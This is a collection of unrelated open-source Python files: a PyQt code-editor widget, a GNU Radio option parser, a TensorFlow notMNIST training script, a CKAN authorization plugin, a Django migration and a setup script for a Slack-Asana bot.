self.__reverse_select_text_portion_from_offset(0, 3) pos_context = self.__reverse_select_text_portion_from_offset(3, 0) if pre_context == pos_context == TRIPLE_Q: supress_echo = True elif pos_context[:2] == DOUBLE_Q: pre_context = self.__reverse_select_text_portion_from_offset(0, 4) if pre_context == TETRA_Q: supress_echo = True elif pos_context[:1] == text: pre_context = self.__reverse_select_text_portion_from_offset(0, 5) if pre_context == PENTA_Q: supress_echo = True elif pre_context[-1] == text: supress_echo = True if supress_echo: self.moveCursor(QTextCursor.Right) return supress_echo def __brace_completion(self, event): """Indicate if this symbol is part of a given pair and needs to be completed. """ text = event.text() if text in list(settings.BRACES.values()): portion = self.__reverse_select_text_portion_from_offset(1, 1) brace_open = portion[0] brace_close = (len(portion) > 1) and portion[1] or None balance = BRACE_DICT.get(brace_open, None) == text == brace_close if balance: self.moveCursor(QTextCursor.Right) return True def __auto_indent(self, event): text = self.textCursor().block().previous().text() spaces = helpers.get_indentation(text, self.indent, self.useTabs) self.textCursor().insertText(spaces) if text != '' and text == ' ' * len(text): self.moveCursor(QTextCursor.Up) self.moveCursor(QTextCursor.EndOfLine, QTextCursor.KeepAnchor) self.textCursor().removeSelectedText() self.moveCursor(QTextCursor.Down) elif settings.COMPLETE_DECLARATIONS: helpers.check_for_assistance_completion(self, text) cursor = self.textCursor() cursor.setPosition(cursor.position()) self.setTextCursor(cursor) def complete_declaration(self): settings.COMPLETE_DECLARATIONS = not settings.COMPLETE_DECLARATIONS self.insert_new_line() settings.COMPLETE_DECLARATIONS = not settings.COMPLETE_DECLARATIONS def insert_new_line(self): cursor = self.textCursor() at_block_end = cursor.atBlockEnd() cursor.movePosition(QTextCursor.EndOfLine) cursor.insertBlock() if not at_block_end: self.moveCursor(QTextCursor.Down) self.__auto_indent(None) def __complete_braces(self, event): """Complete () [] and {} using a mild inteligence to see if corresponds and also do some more magic such as complete in classes and functions. """ brace = event.text() if brace not in settings.BRACES: # Thou shalt not waste cpu cycles if this brace compleion dissabled return text = self.textCursor().block().text() complementary_brace = BRACE_DICT.get(brace) token_buffer = [] _, tokens = self.__tokenize_text(text) is_unbalance = 0 for tkn_type, tkn_rep, tkn_begin, tkn_end in tokens: if tkn_rep == brace: is_unbalance += 1 elif tkn_rep == complementary_brace: is_unbalance -= 1 if tkn_rep.strip() != "": token_buffer.append((tkn_rep, tkn_end[1])) is_unbalance = (is_unbalance >= 0) and is_unbalance or 0 if (self.lang == "python") and (len(token_buffer) == 3) and \ (token_buffer[2][0] == brace) and (token_buffer[0][0] in ("def", "class")): #are we in presence of a function? self.textCursor().insertText("):") self.__fancyMoveCursor(QTextCursor.Left, 2) self.textCursor().insertText(self.selected_text) elif token_buffer and (not is_unbalance) and \ self.selected_text: self.textCursor().insertText(self.selected_text) elif is_unbalance: pos = self.textCursor().position() next_char = self.get_selection(pos, pos + 1).strip() if self.selected_text or next_char == "": self.textCursor().insertText(complementary_brace) self.moveCursor(QTextCursor.Left) self.textCursor().insertText(self.selected_text) def __complete_quotes(self, event): """ Completion for single and double quotes, which since are simmetrical symbols used for different things can not be balanced as easily as braces or equivalent. """ cursor = self.textCursor() cursor.movePosition(QTextCursor.StartOfLine, QTextCursor.KeepAnchor) symbol = event.text() if symbol in settings.QUOTES: pre_context = self.__reverse_select_text_portion_from_offset(0, 3) if pre_context == 3 * symbol: self.textCursor().insertText(3 * symbol) self.__fancyMoveCursor(QTextCursor.Left, 3) else: self.textCursor().insertText(symbol) self.moveCursor(QTextCursor.Left) self.textCursor().insertText(self.selected_text) def keyPressEvent(self, event): self._sidebarWidget._keypress = True if event.key() == Qt.Key_Return: current_block = self.document().findBlock(self.textCursor().position()) block = self.document().findBlock(0) line_count = 0 while block != current_block: line_count += 1 block = block.next() try: if current_block.blockNumber() in self._sidebarWidget._foldedBlocks: self._sidebarWidget._unfold(line_count + 1) return ''' patAlexaEnd = re.compile('\s*#end\.\.\.') while block.isValid(): if patAlexaEnd.match(block.text()): break line_count += 1 block = block.next() ''' #print line_count #line = self._sidebarWidget._find_fold_closing_alexaAppObject(current_block) #self.jump_to_line(line_count - 1) #self._sidebarWidget._fold(line_count + 1) except: pass #self._sidebarWidget._returnPressed = True #self._sidebarWidget.update() ''' if event.key() == Qt.Key_Backspace: pass #self._sidebarWidget._backspacePressed = True #self._sidebarWidget.update() ''' #Completer pre key event if self.completer.process_pre_key_event(event): return #On Return == True stop the execution of this method if self.preKeyPress.get(event.key(), lambda x: False)(event): #emit a signal then plugings can do something self.emit(SIGNAL("keyPressEvent(QEvent)"), event) return self.selected_text = self.textCursor().selectedText() QPlainTextEdit.keyPressEvent(self, event) self.postKeyPress.get(event.key(), lambda x: False)(event) #Completer post key event self.completer.process_post_key_event(event) #emit a signal then plugings can do something self.emit(SIGNAL("keyPressEvent(QEvent)"), event) def _text_under_cursor(self): tc = self.textCursor() tc.select(QTextCursor.WordUnderCursor) word = tc.selectedText() result = self._patIsWord.findall(word) word = result[0] if result else '' return word def paintEvent(self, event): #t0 = time.time() super(Editor, self).paintEvent(event) painter = QPainter() #painter.begin(self.viewport()) painter.begin(self.viewport()) #self.edit.update() if self.verticalScrollBar().value() != self._sidebarWidget._oldVerticalScrollbarPosition and self._sidebarWidget._alexaObjectsPresent is True: self._sidebarWidget._oldVerticalScrollbarPosition = self.verticalScrollBar().value() self._sidebarWidget.updateAlexaCoords() if self.horizontalScrollBar().value() != self._sidebarWidget._oldHorizontalScrollbarPosition and self._sidebarWidget._alexaObjectsPresent is True: self._sidebarWidget._oldHorizontalScrollbarPosition = self.horizontalScrollBar().value() self._sidebarWidget.updateAlexaCoords() font_metrics = QFontMetrics(self.document().defaultFont()) sizeImg = QSize(font_metrics.height() * 1.5, font_metrics.height() * 1.5) #sizeImg2 = QSize(font_metrics.height() * 1.4, font_metrics.height() * 1.4) painter.setPen(QColor('#FE9E9A')) #self.bindAppObjPixmap.load(resources.IMAGES['alexabindobjicon']) newAppObjPixmap = self.bindAppObjPixmap.scaled(sizeImg, Qt.KeepAspectRatio) #bindAppImgPixmap = QPixmap() #self.bindAppImgPixmap.load(resources.IMAGES['alexabindimgicon']) newAppImgPixmap = self.bindAppImgPixmap.scaled(sizeImg, Qt.KeepAspectRatio) #bindAppTextPixmap = QPixmap() #self.bindAppTextPixmap.load(resources.IMAGES['alexabindtexticon']) newAppTextPixmap = self.bindAppTextPixmap.scaled(sizeImg, Qt.KeepAspectRatio) #bindLogPixmap = QPixmap() #self.bindLogPixmap.load(resources.IMAGES['alexalogicon']) newPixmapLog = self.bindLogPixmap.scaled(sizeImg, Qt.KeepAspectRatio) for alexaAppObjIcon in self._alexaAppObjIconsCoords: painter.drawPixmap(alexaAppObjIcon[0], alexaAppObjIcon[1], newAppObjPixmap) for alexaAppImgIcon in self._alexaAppImgIconsCoords: painter.drawPixmap(alexaAppImgIcon[0], alexaAppImgIcon[1], newAppImgPixmap) for alexaAppTextIcon in self._alexaAppTextIconsCoords: painter.drawPixmap(alexaAppTextIcon[0], alexaAppTextIcon[1] - (font_metrics.height()/4), newAppTextPixmap) #painter.drawText(alexaAppTextIcon[0] + (font_metrics.height() * 1.5 * 1.5), alexaAppTextIcon[1] + font_metrics.height(), "test") for alexaLogIcon in self._alexaLogIconsCoords: painter.drawPixmap(alexaLogIcon[0], alexaLogIcon[1] - (font_metrics.height()/3), newPixmapLog) if settings.SHOW_MARGIN_LINE: painter.setPen(QColor('#FE9E9A')) offset = self.contentOffset() painter.drawLine(self.pos_margin + offset.x(), 0, self.pos_margin + offset.x(), self.viewport().height()) painter.end() #print "tempo impiegato dal paint:", time.time() - t0 def wheelEvent(self, event, forward=True): if event.modifiers() == Qt.ControlModifier: if event.delta() == 120: self.zoom_in() elif event.delta() == -120: self.zoom_out() event.ignore() QPlainTextEdit.wheelEvent(self, event) def contextMenuEvent(self, event): popup_menu = self.createStandardContextMenu() menu_lint = QMenu(self.tr("Ignore Lint")) ignoreLineAction = menu_lint.addAction( self.tr("Ignore This Line")) ignoreSelectedAction = menu_lint.addAction( self.tr("Ignore Selected Area")) self.connect(ignoreLineAction, SIGNAL("triggered()"), lambda: helpers.lint_ignore_line(self)) self.connect(ignoreSelectedAction, SIGNAL("triggered()"), lambda: helpers.lint_ignore_selection(self)) popup_menu.insertSeparator(popup_menu.actions()[0]) popup_menu.insertMenu(popup_menu.actions()[0], menu_lint) popup_menu.insertAction(popup_menu.actions()[0], self.__actionFindOccurrences) #add extra menus (from Plugins) lang = file_manager.get_file_extension(self.ID) extra_menus = self.EXTRA_MENU.get(lang, None) if extra_menus: popup_menu.addSeparator() for menu in extra_menus: popup_menu.addMenu(menu) #show menu popup_menu.exec_(event.globalPos()) def mouseMoveEvent(self, event): position = event.pos() cursor = self.cursorForPosition(position) block = cursor.block() if settings.ERRORS_HIGHLIGHT_LINE and \ (block.blockNumber()) in self.errors.errorsSummary: message = '\n'.join( self.errors.errorsSummary[block.blockNumber()]) QToolTip.showText(self.mapToGlobal(position), message, self) elif settings.SHOW_MIGRATION_TIPS and \ block.blockNumber() in self.migration.migration_data: message = self.migration.migration_data[block.blockNumber()][0] QToolTip.showText(self.mapToGlobal(position), message, self) elif settings.CHECK_HIGHLIGHT_LINE and \ (block.blockNumber()) in self.pep8.pep8checks: message = '\n'.join( self.pep8.pep8checks[block.blockNumber()]) QToolTip.showText(self.mapToGlobal(position), message, self) if event.modifiers() == Qt.ControlModifier: cursor.select(QTextCursor.WordUnderCursor) selection_start = cursor.selectionStart() selection_end = cursor.selectionEnd() cursor.setPosition(selection_start - 1) cursor.setPosition(selection_end + 1, QTextCursor.KeepAnchor) if cursor.selectedText()[-1:] in ('(', '.') or \ cursor.selectedText()[:1] in ('.', '@'): self.extraSelections = [] selection = QTextEdit.ExtraSelection() lineColor = QColor(resources.CUSTOM_SCHEME.get('linkNavigate', resources.COLOR_SCHEME['linkNavigate'])) selection.format.setForeground(lineColor) selection.format.setFontUnderline(True) selection.cursor = cursor self.extraSelections.append(selection) self.setExtraSelections(self.extraSelections) else: self.extraSelections = [] self.setExtraSelections(self.extraSelections) QPlainTextEdit.mouseMoveEvent(self, event) def mousePressEvent(self, event): if self.completer.isVisible(): self.completer.hide_completer() elif event.modifiers() == Qt.ControlModifier: cursor = self.cursorForPosition(event.pos()) self.setTextCursor(cursor) self.go_to_definition(cursor) elif event.button() == Qt.RightButton and \ not self.textCursor().hasSelection(): cursor = self.cursorForPosition(event.pos()) self.setTextCursor(cursor) QPlainTextEdit.mousePressEvent(self, event) def mouseReleaseEvent(self, event): QPlainTextEdit.mouseReleaseEvent(self, event) if event.button() == Qt.LeftButton: self.highlight_selected_word() def dropEvent(self, event): if len(event.mimeData().urls()) > 0: path = event.mimeData().urls()[0].path() self.emit(SIGNAL("openDropFile(QString)"), path) event.ignore() event.mimeData = QMimeData() QPlainTextEdit.dropEvent(self, event) self.undo() def go_to_definition(self, cursor=None): if not cursor: cursor = self.textCursor() cursor.select(QTextCursor.WordUnderCursor) selection_start = cursor.selectionStart() selection_end = cursor.selectionEnd() cursor.setPosition(selection_start - 1) cursor.setPosition(selection_end + 1, QTextCursor.KeepAnchor) if cursor.selectedText().endswith('(') or \ cursor.selectedText().startswith('@'): cursor.setPosition(selection_start) cursor.setPosition(selection_end, QTextCursor.KeepAnchor) self.emit(SIGNAL("locateFunction(QString, QString, bool)"), cursor.selectedText(), self.ID, False) elif cursor.selectedText().endswith('.') or \ cursor.selectedText().startswith('.'): cursor.setPosition(selection_start) cursor.setPosition(selection_end, QTextCursor.KeepAnchor) self.emit(SIGNAL("locateFunction(QString, QString, bool)"), cursor.selectedText(), self.ID, True) def get_selection(self, posStart, posEnd): cursor = self.textCursor() cursor.setPosition(posStart) cursor2 = self.textCursor() if posEnd == QTextCursor.End: cursor2.movePosition(posEnd) cursor.setPosition(cursor2.position(), QTextCursor.KeepAnchor) else: cursor.setPosition(posEnd, QTextCursor.KeepAnchor) return cursor.selection().toPlainText() def __get_abs_position_on_text(self, text, position): """tokens give us position of char in a given line, we need such position relative to the beginning of the text, also we need to add the number of lines, since our split removes the newlines which are counted as a character in the editor""" line, relative_position = position insplit_line = line - 1 full_lenght = 0 for each_line in text.splitlines()[:insplit_line]: full_lenght += len(each_line) return full_lenght + insplit_line + relative_position def __fancyMoveCursor(self, operation, repeat=1, moveMode=QTextCursor.MoveAnchor): """Move the cursor a given number of times (with or without anchoring), just a helper given the less than practical way qt has for such a common operation""" cursor = self.textCursor() cursor.movePosition(operation, moveMode, repeat) self.setTextCursor(cursor) def __tokenize_text(self, text): invalid_syntax = False token_buffer = [] try: for tkn_type, tkn_rep, tkn_begin, tkn_end, _ in \ generate_tokens(StringIO(text).readline): token_buffer.append((tkn_type, tkn_rep, tkn_begin, tkn_end)) except (TokenError, IndentationError, SyntaxError): invalid_syntax = True return (invalid_syntax, token_buffer) def _match_braces(self, position, brace, forward): """Return the position to hilight of the matching brace""" braceMatch = BRACE_DICT[brace] if forward: text = self.get_selection(position, QTextCursor.End) else: text = self.get_selection(QTextCursor.Start, position) brace_stack = [] brace_buffer = [] invalid_syntax, tokens = self.__tokenize_text(text) for tkn_type, tkn_rep, tkn_begin, tkn_end in tokens: if (tkn_type == tkn.OP) and (tkn_rep in BRACE_DICT): tkn_pos = forward and tkn_begin or tkn_end brace_buffer.append((tkn_rep, tkn_pos)) if not forward: brace_buffer.reverse() if forward and (not invalid_syntax): #Exclude the brace that triggered all this brace_buffer = brace_buffer[1:] for tkn_rep, tkn_position in brace_buffer: if (tkn_rep == braceMatch) and not brace_stack: hl_position = \ self.__get_abs_position_on_text(text, tkn_position) return forward and hl_position + position or hl_position elif brace_stack and \ (BRACE_DICT.get(tkn_rep, '') == brace_stack[-1]): brace_stack.pop(-1) else: brace_stack.append(tkn_rep) def highlight_current_line(self): self.emit(SIGNAL("cursorPositionChange(int, int)"), self.textCursor().blockNumber() + 1, self.textCursor().columnNumber()) self.extraSelections = [] if not self.isReadOnly(): block = self.textCursor() selection = QTextEdit.ExtraSelection() if block.blockNumber() in self.errors.errorsSummary: lineColor = self._line_colors['error-line'] lineColor.setAlpha(resources.CUSTOM_SCHEME.get( "error-background-opacity", resources.COLOR_SCHEME["error-background-opacity"])) elif block.blockNumber() in self.pep8.pep8checks: lineColor = self._line_colors['pep8-line'] lineColor.setAlpha(resources.CUSTOM_SCHEME.get( "error-background-opacity", resources.COLOR_SCHEME["error-background-opacity"])) elif block.blockNumber() in self.migration.migration_data: lineColor = self._line_colors['migration-line'] lineColor.setAlpha(resources.CUSTOM_SCHEME.get( "error-background-opacity", resources.COLOR_SCHEME["error-background-opacity"])) else: lineColor = self._line_colors['current-line'] lineColor.setAlpha(resources.CUSTOM_SCHEME.get( "current-line-opacity", resources.COLOR_SCHEME["current-line-opacity"])) selection.format.setBackground(lineColor) selection.format.setProperty(QTextFormat.FullWidthSelection, True) selection.cursor = self.textCursor() selection.cursor.clearSelection() self.extraSelections.append(selection) self.setExtraSelections(self.extraSelections) #Re-position tooltip to allow text editing in the line of the error if QToolTip.isVisible(): QToolTip.hideText() if self._braces is not None: self._braces = None cursor = self.textCursor() if cursor.position() == 0: self.setExtraSelections(self.extraSelections) return cursor.movePosition(QTextCursor.PreviousCharacter, QTextCursor.KeepAnchor) text = cursor.selectedText() pos1 = cursor.position() if text in (")", "]", "}"): pos2 = self._match_braces(pos1, text, forward=False) elif text in ("(", "[", "{"): pos2 = self._match_braces(pos1, text, forward=True) else: self.setExtraSelections(self.extraSelections) return if pos2 is not None: self._braces = (pos1, pos2) selection = QTextEdit.ExtraSelection() selection.format.setForeground(QColor( resources.CUSTOM_SCHEME.get('brace-foreground', resources.COLOR_SCHEME.get('brace-foreground')))) selection.cursor = cursor self.extraSelections.append(selection) selection = QTextEdit.ExtraSelection() selection.format.setForeground(QColor( resources.CUSTOM_SCHEME.get('brace-foreground', resources.COLOR_SCHEME.get('brace-foreground')))) selection.format.setBackground(QColor( resources.CUSTOM_SCHEME.get('brace-background', resources.COLOR_SCHEME.get('brace-background')))) selection.cursor = self.textCursor() selection.cursor.setPosition(pos2) selection.cursor.movePosition(QTextCursor.NextCharacter, QTextCursor.KeepAnchor) self.extraSelections.append(selection) else: self._braces = (pos1,) selection = QTextEdit.ExtraSelection() selection.format.setBackground(QColor( resources.CUSTOM_SCHEME.get('brace-background', resources.COLOR_SCHEME.get('brace-background')))) selection.format.setForeground(QColor( resources.CUSTOM_SCHEME.get('brace-foreground', resources.COLOR_SCHEME.get('brace-foreground')))) selection.cursor = cursor self.extraSelections.append(selection) self.setExtraSelections(self.extraSelections) def highlight_selected_word(self, word_find=None): #Highlight selected variable word = self._text_under_cursor() partial = False if word_find is not None: word = word_find if word != self._selected_word: self._selected_word = word if word_find: partial = True self.highlighter.set_selected_word(word, partial) elif (word == self._selected_word) and (word_find is None): self._selected_word = None self.highlighter.set_selected_word("", partial=True) elif (word == self._selected_word) and (word_find is not None): self.highlighter.set_selected_word(word_find, partial=True) def async_highlight(self): pass #self.highlighter.async_highlight() def create_editor(fileName='', project=None, syntax=None, use_open_highlight=False, project_obj=None): editor = Editor(fileName, project, project_obj=project_obj) #if syntax is specified, use it if syntax: editor.register_syntax(syntax) else: #try to set a syntax based on the file extension ext = file_manager.get_file_extension(fileName) if ext not in settings.EXTENSIONS and fileName == '': #by default use python syntax editor.register_syntax('py') else: editor.register_syntax(ext) return editor
AlexaProjects/Alexa2
ALEXA-IDE/core/ninja_ide/gui/editor/editor.py
Python
gpl-3.0
58,712
# # Copyright 2004 Free Software Foundation, Inc. # # This file is part of GNU Radio # # GNU Radio is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3, or (at your option) # any later version. # # GNU Radio is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with GNU Radio; see the file COPYING. If not, write to # the Free Software Foundation, Inc., 51 Franklin Street, # Boston, MA 02110-1301, USA. # '''Add support for engineering notation to optparse.OptionParser''' from copy import copy from optparse import Option, OptionValueError scale_factor = {} scale_factor['E'] = 1e18 scale_factor['P'] = 1e15 scale_factor['T'] = 1e12 scale_factor['G'] = 1e9 scale_factor['M'] = 1e6 scale_factor['k'] = 1e3 scale_factor['m'] = 1e-3 scale_factor['u'] = 1e-6 scale_factor['n'] = 1e-9 scale_factor['p'] = 1e-12 scale_factor['f'] = 1e-15 scale_factor['a'] = 1e-18 def check_eng_float (option, opt, value): try: scale = 1.0 suffix = value[-1] if scale_factor.has_key (suffix): return float (value[0:-1]) * scale_factor[suffix] return float (value) except: raise OptionValueError ( "option %s: invalid engineering notation value: %r" % (opt, value)) def check_intx (option, opt, value): try: return int (value, 0) except: raise OptionValueError ( "option %s: invalid integer value: %r" % (opt, value)) def check_subdev (option, opt, value): """ Value has the form: (A|B)(:0|1)? @returns a 2-tuple (0|1, 0|1) """ d = { 'A' : (0, 0), 'A:0' : (0, 0), 'A:1' : (0, 1), 'B' : (1, 0), 'B:0' : (1, 0), 'B:1' : (1, 1) } try: return d[value.upper()] except: raise OptionValueError( "option %s: invalid subdev: '%r', must be one of A, B, A:0, A:1, B:0, B:1" % (opt, value)) class eng_option (Option): TYPES = Option.TYPES + ("eng_float", "intx", "subdev") TYPE_CHECKER = copy (Option.TYPE_CHECKER) TYPE_CHECKER["eng_float"] = check_eng_float TYPE_CHECKER["intx"] = check_intx TYPE_CHECKER["subdev"] = check_subdev
trnewman/VT-USRP-daughterboard-drivers_python
gnuradio-core/src/python/gnuradio/eng_option.py
Python
gpl-3.0
2,490
# coding: utf-8 # Deep Learning # ============= # # Assignment 2 # ------------ # # Previously in `1_notmnist.ipynb`, we created a pickle with formatted datasets for training, development and testing on the [notMNIST dataset](http://yaroslavvb.blogspot.com/2011/09/notmnist-dataset.html). # # The goal of this assignment is to progressively train deeper and more accurate models using TensorFlow. # In[1]: # These are all the modules we'll be using later. Make sure you can import them # before proceeding further. from __future__ import print_function import numpy as np import tensorflow as tf from six.moves import cPickle as pickle from six.moves import range # First reload the data we generated in `1_notmnist.ipynb`. # In[2]: pickle_file = '../notMNIST.pickle' with open(pickle_file, 'rb') as f: save = pickle.load(f) train_dataset = save['train_dataset'] train_labels = save['train_labels'] valid_dataset = save['valid_dataset'] valid_labels = save['valid_labels'] test_dataset = save['test_dataset'] test_labels = save['test_labels'] del save # hint to help gc free up memory print('Training set', train_dataset.shape, train_labels.shape) print('Validation set', valid_dataset.shape, valid_labels.shape) print('Test set', test_dataset.shape, test_labels.shape) # Reformat into a shape that's more adapted to the models we're going to train: # - data as a flat matrix, # - labels as float 1-hot encodings. # In[3]: image_size = 28 num_labels = 10 def reformat(dataset, labels): dataset = dataset.reshape((-1, image_size * image_size)).astype(np.float32) # Map 0 to [1.0, 0.0, 0.0 ...], 1 to [0.0, 1.0, 0.0 ...] labels = (np.arange(num_labels) == labels[:,None]).astype(np.float32) return dataset, labels def accuracy(predictions, labels): return (100.0 * np.sum(np.argmax(predictions, 1) == np.argmax(labels, 1)) / predictions.shape[0]) train_dataset, train_labels = reformat(train_dataset, train_labels) valid_dataset, valid_labels = reformat(valid_dataset, valid_labels) test_dataset, test_labels = reformat(test_dataset, test_labels) print('Training set', train_dataset.shape, train_labels.shape) print('Validation set', valid_dataset.shape, valid_labels.shape) print('Test set', test_dataset.shape, test_labels.shape) batch_size = 128 num_hidden_nodes = 1024 beta = 1e-3 num_steps = 3001 keep_rate = 0.5 graph = tf.Graph() with graph.as_default(): # Input data. For the training data, we use a placeholder that will be fed # at run time with a training minibatch. tf_train_dataset = tf.placeholder(tf.float32, shape=(batch_size, image_size * image_size)) tf_train_labels = tf.placeholder(tf.float32, shape=(batch_size, num_labels)) tf_valid_dataset = tf.constant(valid_dataset) tf_test_dataset = tf.constant(test_dataset) # Variables. weights1 = tf.Variable( tf.truncated_normal([image_size * image_size, num_hidden_nodes])) biases1 = tf.Variable(tf.zeros([num_hidden_nodes])) weights2 = tf.Variable( tf.truncated_normal([num_hidden_nodes, num_labels])) biases2 = tf.Variable(tf.zeros([num_labels])) # Training computation. hidden_layer = tf.matmul(tf_train_dataset, weights1) + biases1 activated_hidden_layer = tf.nn.relu(hidden_layer) dropout = tf.nn.dropout(activated_hidden_layer, keep_rate) #dropout if applied after activation logits = tf.matmul(dropout, weights2) + biases2 #Note that we don't apply dropout for the last layer loss = tf.reduce_mean( tf.nn.softmax_cross_entropy_with_logits(labels=tf_train_labels, logits=logits))+ \ tf.scalar_mul(beta, tf.nn.l2_loss(weights1)+tf.nn.l2_loss(weights2)) # Optimizer. optimizer = tf.train.GradientDescentOptimizer(0.5).minimize(loss) # Predictions for the training, validation, and test data. train_prediction = tf.nn.softmax(logits) valid_prediction = tf.nn.softmax( tf.matmul(tf.nn.relu(tf.matmul(tf_valid_dataset, weights1) + biases1), weights2) + biases2 ) test_prediction = tf.nn.softmax( tf.matmul(tf.nn.relu(tf.matmul(tf_test_dataset, weights1) + biases1), weights2) + biases2 ) with tf.Session(graph=graph) as session: tf.global_variables_initializer().run() print("Initialized") for step in range(num_steps): # Pick an offset within the training data, which has been randomized. # Note: we could use better randomization across epochs. offset = 0 #(step * batch_size) % (train_labels.shape[0] - batch_size) # Generate a minibatch. batch_data = train_dataset[offset:(offset + batch_size), :] batch_labels = train_labels[offset:(offset + batch_size), :] # Prepare a dictionary telling the session where to feed the minibatch. # The key of the dictionary is the placeholder node of the graph to be fed, # and the value is the numpy array to feed to it. feed_dict = {tf_train_dataset : batch_data, tf_train_labels : batch_labels} _, l, predictions = session.run( [optimizer, loss, train_prediction], feed_dict=feed_dict) if (step % 500 == 0): print("Minibatch loss at step %d: %f" % (step, l)) print("Minibatch accuracy: %.1f%%" % accuracy(predictions, batch_labels)) print("Validation accuracy: %.1f%%" % accuracy( valid_prediction.eval(), valid_labels)) print('#############################') print("Test accuracy: %.1f%% with beta=%f, keep_rate =%f" % (accuracy(test_prediction.eval(), test_labels), beta,keep_rate))
jinzishuai/learn2deeplearn
google_dl_udacity/lesson3/prob3_sgd_1hl_reg.py
Python
gpl-3.0
5,473
import ckan.plugins as plugins import ckan.plugins.toolkit as toolkit import routes.mapper as r from .dbfunctions import ( userCanAddUsers, userCanManageResources, isResourceAdmin, userResourceAccess, ) class IlriauthPlugin(plugins.SingletonPlugin): plugins.implements(plugins.IConfigurer) plugins.implements(plugins.IConfigurer) plugins.implements(plugins.ITemplateHelpers) plugins.implements(plugins.IRoutes) # IConfigurer def update_config(self, config_): toolkit.add_template_directory(config_, "templates") toolkit.add_public_directory(config_, "public") toolkit.add_resource("fanstatic", "ILRIAuthDir") def get_helpers(self): return { "ILRIAuth_userCanAddUsers": userCanAddUsers, "ILRIAuth_userCanManageResources": userCanManageResources, "ILRIAuth_isResourceAdmin": isResourceAdmin, "ILRIAuth_userResourceAccess": userResourceAccess, } # Implement IRoutes def before_map(self, map): # This is a better function because in the connect if defines an item for example ilri_policy that then we can use in build_nav_main helper function with r.SubMapper( map, controller="ckanext.ilriauth.controller:addNewUserController" ) as addNewUser: addNewUser.connect( "addNewUser", "/ilriauth/addNewUser", action="display_addNewUser" ) with r.SubMapper( map, controller="ckanext.ilriauth.controller:statisticsController" ) as showStats: showStats.connect( "showStats", "/ilriauth/showstats", action="display_stats" ) showStats.connect( "requestStats", "/ilriauth/requeststats", action="request_stats" ) with r.SubMapper( map, controller="ckanext.ilriauth.controller:resourceAuthController" ) as manageUsers: manageUsers.connect( "manageUsers", "/ilriauth/manageusers", action="manageUsers" ) with r.SubMapper( map, controller="ckanext.ilriauth.controller:resourceAuthController" ) as manageOneUser: manageOneUser.connect( "manageOneUser", "/ilriauth/manageusers/{userID}", action="manageOneUser", ) with r.SubMapper( map, controller="ckanext.ilriauth.controller:resourceAuthController" ) as manageGroups: manageGroups.connect( "manageGroups", "/ilriauth/managegroups", action="manageGroups" ) with r.SubMapper( map, controller="ckanext.ilriauth.controller:resourceAuthController" ) as manageGroupMembers: manageGroupMembers.connect( "manageGroupMembers", "/ilriauth/managegroups/{groupID}", action="manageGroupMembers", ) with r.SubMapper( map, controller="ckanext.ilriauth.controller:resourceAuthController" ) as manageOneGroup: manageOneGroup.connect( "manageOneGroup", "/ilriauth/managegroups/{groupID}/auth", action="manageOneGroup", ) with r.SubMapper( map, controller="ckanext.ilriauth.controller:resourceAuthController" ) as manageTokens: manageTokens.connect( "manageTokens", "/ilriauth/managetokens", action="manageTokens" ) with r.SubMapper( map, controller="ckanext.ilriauth.controller:resourceAuthController" ) as manageOneToken: manageOneToken.connect( "manageOneToken", "/ilriauth/managetokens/{tokenID}", action="manageOneToken", ) manageOneToken.connect( "emailToken", "/ilriauth/emailtoken/{tokenID}", action="emailToken" ) with r.SubMapper( map, controller="ckanext.ilriauth.controller:resourceAuthController" ) as showRequestDetails: showRequestDetails.connect( "showRequestDetails", "/ilriauth/managetokens/request/{requestID}", action="showRequestDetails", ) return map def after_map(self, map): return map
ilri/ckanext-dataportal
ckanext-ilriauth/ckanext/ilriauth/plugin.py
Python
gpl-3.0
4,425
# -*- coding: utf-8 -*- # Generated by Django 1.9.8 on 2016-12-30 08:33 from __future__ import unicode_literals from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('wechat', '0003_confbasic_money'), ] operations = [ migrations.RenameField( model_name='confbasic', old_name='money', new_name='price', ), ]
yukeyi/meeting
wechat/migrations/0004_auto_20161230_1633.py
Python
gpl-3.0
424
import sys import os from six import print_ from sqlalchemy import Table, Column, String, Integer, \ create_engine, MetaData from slackclient import SlackClient # Setup script for Kwicksano v. 1.0 def connect(user, password, db, host, port): # Returns a connection and a metadata object url = 'postgresql://{}:{}@{}:{}/{}' url = url.format(user, password, host, port, db) con = create_engine(url, client_encoding='utf8') meta = MetaData(bind=con, reflect=True) print_("Writing DB creds to file.") print_("What's the filename to use? (default: config.db)") filename = sys.stdin.readline().strip() if not filename: filename = "config.db" target = open(filename, 'w') target.truncate() target.write(url) target.write("\n") target.close() os.chmod(filename, 0600) return con, meta print_("Create the database first. Enter the requested info here:") print_("DB user: ") user = sys.stdin.readline().strip() print_("DB password: ") password = sys.stdin.readline().strip() print_("DB name: ") db = sys.stdin.readline().strip() print_("DB host: (default localhost)") host = sys.stdin.readline().strip() print_("DB port: (default 5432)") port = sys.stdin.readline().strip() if not host: host = "localhost" if not port: port = 5432 con, meta = connect(user, password, db, host, port) users = Table('users', meta, Column('id', Integer, primary_key=True), Column('slack', String), Column('asana', String), Column('email', String), Column('name', String) ) projects = Table('projects', meta, Column('id', Integer, primary_key=True), Column('name', String), Column('slack', String), Column('asana', String) ) env = Table('environment', meta, Column('varname', String, primary_key=True), Column('value', String) ) meta.create_all(con) print_("Database setup complete.") print_("Populating token fields...") print_("Paste Slack Bot User OAuth Access Token: ") slack_auth = sys.stdin.readline().strip() print_("Paste Asana Cient ID: ") asana_id = sys.stdin.readline().strip() print_("Paste Asana Client Secret: ") asana_secret = sys.stdin.readline().strip() print_("What's the Slack Bot's @name?") bot_name = sys.stdin.readline().strip() slack_client = SlackClient(slack_auth) api_call = slack_client.api_call("users.list") if api_call.get('ok'): # retrieve all users so we can find our bot users = api_call.get('members') for user in users: if user['name'] == bot_name: bot_id = user['id'] vars = [ {'varname': 'SLACK_BOT_TOKEN', 'value': slack_auth}, {'varname': 'ASANA_CLIENT_ID', 'value': asana_id}, {'varname': 'ASANA_CLIENT_SECRET', 'value': asana_secret}, {'varname': 'BOT_ID', 'value': bot_id} ] con.execute(meta.tables['environment'].insert(), vars)
mbeland/kwicksano
setup.py
Python
gpl-3.0
2,998
